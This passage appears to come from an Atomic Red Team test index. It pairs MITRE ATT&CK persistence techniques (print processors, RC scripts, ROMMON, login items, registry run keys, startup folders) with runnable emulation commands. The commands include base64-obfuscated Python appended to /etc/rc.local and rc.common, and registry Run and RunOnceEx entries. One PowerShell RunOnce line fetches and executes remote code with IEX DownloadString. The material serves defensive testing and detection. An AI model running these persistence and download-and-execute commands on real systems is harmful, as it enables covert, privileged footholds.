      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Print Processors
      description: "Adversaries may abuse print processors to run malicious DLLs during
        system boot for persistence and/or privilege escalation. Print processors
        are DLLs that are loaded by the print spooler service, spoolsv.exe, during
        boot. \n\nAdversaries may abuse the print spooler service by adding print
        processors that load malicious DLLs at startup. A print processor can be installed
        through the <code>AddPrintProcessor</code> API call with an account that has
        <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor
        can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet
        or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture:
        e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry
        key that points to the DLL. For the print processor to be correctly installed,
        it must be located in the system print-processor directory that can be found
        with the <code>GetPrintProcessorDirectory</code> API call.(Citation: Microsoft
        AddPrintProcessor May 2018) After the print processors are installed, the
        print spooler service, which starts during boot, must be restarted in order
        for them to run.(Citation: ESET PipeMon May 2020) The print spooler service
        runs under SYSTEM level permissions, therefore print processors installed
        by an adversary may run under elevated privileges."
      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T16:05:36.344Z'
      created: '2020-10-05T13:24:49.780Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.

        Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Driver: Driver Load'
      x_mitre_contributors:
      - Mathieu Tartare, ESET
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1037.004:
    technique:
      id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
      description: |-
        Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

        Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

        Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

        Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
      name: RC Scripts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.004
        url: https://attack.mitre.org/techniques/T1037/004
      - source_name: IranThreats Kittens Dec 2017
        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
      - description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
          Linux Systems. Retrieved June 24, 2019.
        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
        source_name: Intezer HiddenWasp Map 2019
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: Apple Developer Doco Archive Launchd
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (2016, September 13). Daemons and Services Programming
          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        source_name: Startup Items
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      - source_name: Ubuntu Manpage systemd rc
        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
          boot and shutdown. Retrieved February 23, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-27T19:58:01.927Z'
      created: '2020-01-15T16:25:22.260Z'
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
        directory. Monitor process execution resulting from RC scripts for unusual
        or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
        file creation. Although types of RC scripts vary for each Unix-like distribution,
        several execute <code>/etc/rc.local</code> if present. "
      x_mitre_permissions_required:
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      identifier: T1037.004
    atomic_tests:
    - name: rc.common
      auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de
      description: |
        Modify rc.common

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
      supported_platforms:
      - macos
      executor:
        command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello
          World"'' >> /etc/rc.common

'
        elevation_required: true
        name: bash
    - name: rc.common
      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
      description: 'Modify rc.common

'
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
          sudo chmod +x /etc/rc.common
        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
          && sudo rm $origfilename;fi

'
    - name: rc.local
      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
      description: 'Modify rc.local

'
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.local
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.local
          sudo chmod +x /etc/rc.local
        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
          sudo rm $origfilename;fi

'
  T1542.004:
    technique:
      created: '2020-10-20T00:05:48.790Z'
      modified: '2020-10-22T02:18:19.568Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
      description: |-
        Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)


        ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
      name: ROMMONkit
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1542.004
        url: https://attack.mitre.org/techniques/T1542/004
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      x_mitre_platforms:
      - Network
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: There are no documented means for defenders to validate the
        operation of the ROMMON outside of vendor support. If a network device is
        suspected of being compromised, contact the vendor to assist in further investigation.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_data_sources:
      - 'Firmware: Firmware Modification'
    atomic_tests: []
  T1547.007:
    technique:
      created: '2020-01-24T18:15:06.641Z'
      modified: '2020-01-24T19:51:37.795Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
      description: "Adversaries may modify plist files to automatically run an application
        when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain
        applications to be re-opened when a user logs into their machine after reboot.
        While this is usually done via a Graphical User Interface (GUI) on an app-by-app
        basis, there are property list files (plist) that contain this information
        as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code>
        and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>.
        \n\nAn adversary can modify one of these files directly to include a link
        to their malicious executable to provide a persistence mechanism each time
        the user reboots their machine (Citation: Methods of Mac Malware Persistence)."
      name: Re-opened Applications
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.007
        url: https://attack.mitre.org/techniques/T1547/007
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_detection: Monitoring the specific plist files associated with reopening
        applications can indicate when an application has registered itself to be
        reopened.
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.007
    atomic_tests:
    - name: Re-Opened Applications
      auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba
      description: |
        Plist Method

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      executor:
        steps: |
          1. create a custom plist:

              ~/Library/Preferences/com.apple.loginwindow.plist

          or

              ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist
        name: manual
    - name: Re-Opened Applications
      auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb
      description: |
        Mac Defaults

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      input_arguments:
        script:
          description: path to script
          type: Path
          default: "/path/to/script"
      executor:
        command: 'sudo defaults write com.apple.loginwindow LoginHook #{script}

'
        cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook

'
        elevation_required: true
        name: sh
  T1108:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1108
        url: https://attack.mitre.org/techniques/T1108
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      description: "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136),
        [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External
        Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries
        may use more than one remote access tool with varying command and control
        protocols or credentialed access to remote services so they can maintain access
        if an access mechanism is detected or mitigated. \n\nIf one type of tool is
        detected and blocked or removed as a response but the organization did not
        gain a full understanding of the adversary's tools and access, then the adversary
        will be able to retain access to the network. Adversaries may also attempt
        to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to use [External Remote Services](https://attack.mitre.org/techniques/T1133)
        such as external VPNs as a way to maintain access despite interruptions to
        remote access tools deployed within a target network.(Citation: Mandiant APT1)
        Adversaries may also retain access through cloud-based infrastructure and
        applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100)
        is one such way to maintain access to a network through an externally accessible
        Web server."
      name: Redundant Access
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-03-08T10:33:00.985Z'
      created: '2017-05-31T21:31:18.867Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_version: '3.1'
      x_mitre_defense_bypassed:
      - Network intrusion detection system
      - Anti-virus
      x_mitre_detection: |-
        Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.

        Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.

        If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.

        For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_contributors:
      - Praetorian
    atomic_tests: []
  T1547.001:
    technique:
      id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
      description: |-
        Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>. The startup folder path for all users is <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>.

        The following run keys are created by default on Windows systems:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

        Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

        The following Registry keys can be used to set startup folder items for persistence:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code>
        * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

        The following Registry keys can control automatic startup of services during boot:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

        Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
        * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

        The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

        Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

        By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

        Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      name: Registry Run Keys / Startup Folder
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.001
        url: https://attack.mitre.org/techniques/T1547/001
      - external_id: CAPEC-270
        source_name: capec
        url: https://capec.mitre.org/data/definitions/270.html
      - url: http://msdn.microsoft.com/en-us/library/aa376977
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        source_name: Microsoft Run Key
      - source_name: Microsoft Wow6432Node 2018
        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
          in the Registry. Retrieved August 3, 2020.
      - source_name: Malwarebytes Wow6432Node 2016
        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
          August 3, 2020.
      - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
          Key. Retrieved June 29, 2018.
        source_name: Microsoft RunOnceEx APR 2018
      - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
          from Autoruns.exe. Retrieved June 29, 2018.
        source_name: Oddvar Moe RunOnceEx Mar 2018
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-01-06T18:36:29.226Z'
      created: '2020-01-23T22:02:48.566Z'
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Oddvar Moe, @oddvarmoe
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

        Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1547.001
    atomic_tests:
    - name: Reg Key Run
      auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05
      description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will
        modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output
        will be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Thing to Run
          type: Path
          default: C:\Path\AtomicRedTeam.exe
      executor:
        command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V
          "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"

'
        cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
          /V "Atomic Red Team" /f >nul 2>&1

'
        name: command_prompt
    - name: Reg Key RunOnce
      auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb
      description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe
        will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will
        be via stdout. \n"
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: Path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /d "#{thing_to_execute}"

'
        cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend
          /v 1 /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: PowerShell Registry RunOnce
      auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42
      description: |
        RunOnce Key Persistence via PowerShell
        Upon successful execution, a new entry will be added to the runonce item in the registry.
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: Path
          default: powershell.exe
        reg_key_path:
          description: Path to registry key to update
          type: Path
          default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce
      executor:
        command: |
          $RunOnceKey = "#{reg_key_path}"
          set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/36f83b728bc26a49eacb0535edc42be8c377ac54/ARTifacts/Misc/Discovery.bat`")"'
        cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun"
          -Force -ErrorAction Ignore

'
        name: powershell
        elevation_required: true
    - name: Suspicious vbs file run from startup Folder
      auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5
      description: "vbs files can be placed in and ran from the startup folder to
        maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
          cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
          cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious jse file run from startup Folder
      auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06
      description: "jse files can be placed in and ran from the startup folder to
        maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will
        be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start
        Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted
        and the user logs in.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\jsestartup.jse "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
          cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
          cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Suspicious bat file run from startup Folder
      auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e
      description: |
        bat files can be placed in and executed from the startup folder to maintain persistance.
        Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
        folder and will also run when the computer is restarted and the user logs in.
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
          Copy-Item $PathToAtomicsFolder\T1547.001\src\batstartup.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
          Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
